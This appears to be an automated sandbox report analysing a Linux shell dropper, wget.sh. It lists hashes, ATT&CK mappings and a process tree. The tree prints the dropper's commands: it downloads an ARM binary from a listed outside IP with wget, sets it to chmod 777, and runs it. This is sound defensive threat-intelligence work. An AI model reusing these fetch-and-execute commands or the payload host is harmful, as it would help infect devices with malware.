5273878a02fc3de5576f27dca29eb0f8a415066aa341cc819a9177bedb3d5378

Analysis

max time kernel
148s
max time network
149s
platform
debian-9_armhf
resource
debian9-armhf-20260126-en
resource tags

arch:armhfimage:debian9-armhf-20260126-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
18/02/2026, 19:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
wget.sh
Size 392B
Sample260218-xsa1vsft6e
SHA256 5273878a02fc3de5576f27dca29eb0f8a415066aa341cc819a9177bedb3d5378
MD5 e5cd8f90bf54e855b5e5e5d1445d711e
SHA1 66664c6d7553e302fc0bb89974475d429533bd7e
SHA512 6c4cb91b5dd871466d02168130179136885790990530333a777e24336e862b65bf0e619f6fe52931d6c1d6d2b37d9680542911e5b96b32f1bab16472a00f6e4f
TLSH
T103E0D8C9059B44E141881D6B72BBD40C99C6878ECE019EB8BCBE7067A758B08A1C6180
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
699	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/mnt/xddf	701	wget.sh

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.xd	wget.sh

/tmp/wget.sh
/tmp/wget.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:647
- /bin/rm
  rm -rf xddf
  2⤵
  PID:652
- /usr/bin/wget
  wget http://103.251.236.118/multi/bins/arm5 -O -
  2⤵
  PID:655
- /bin/chmod
  chmod 777 xddf
  2⤵
  - File and Directory Permissions Modification
  PID:699
- /mnt/xddf
  ./xddf
  2⤵
  PID:701

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

xddf

Path /mnt/xddf
Size 489KB
SHA256 9ea6ada08b81cba34c0e339f8f2ac9e4407aa4c8ce84aecfe838e05a0af521fc
MD5 7c7134d57c8716e11ad421ec1657e4b1
SHA1 07926c6586220fdc727fbc8a410d9980b2aa7922
SHA512 0cedccec7ece3942065d90daac044be64c230685f0303e8f00f8ecdc3d81d4a0e1eb40e0e18e19a4378beb0a2e79f61dd16461f477abfb895bbb3e2a9941fc2d
SSDEEP 12288:FzrXr55PDYLepuFFntNbtcMpmcvztKH/4zvuXplvV77asXnmBYAZ3PqWM8:pXrKFtfcMpmcvztKovYJ7l3mEF
TLSH
T194B43966B8509FA2C6D02A7AFB5DC35C33131B78D3DE31129C155B2563FB84B0E7A982
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download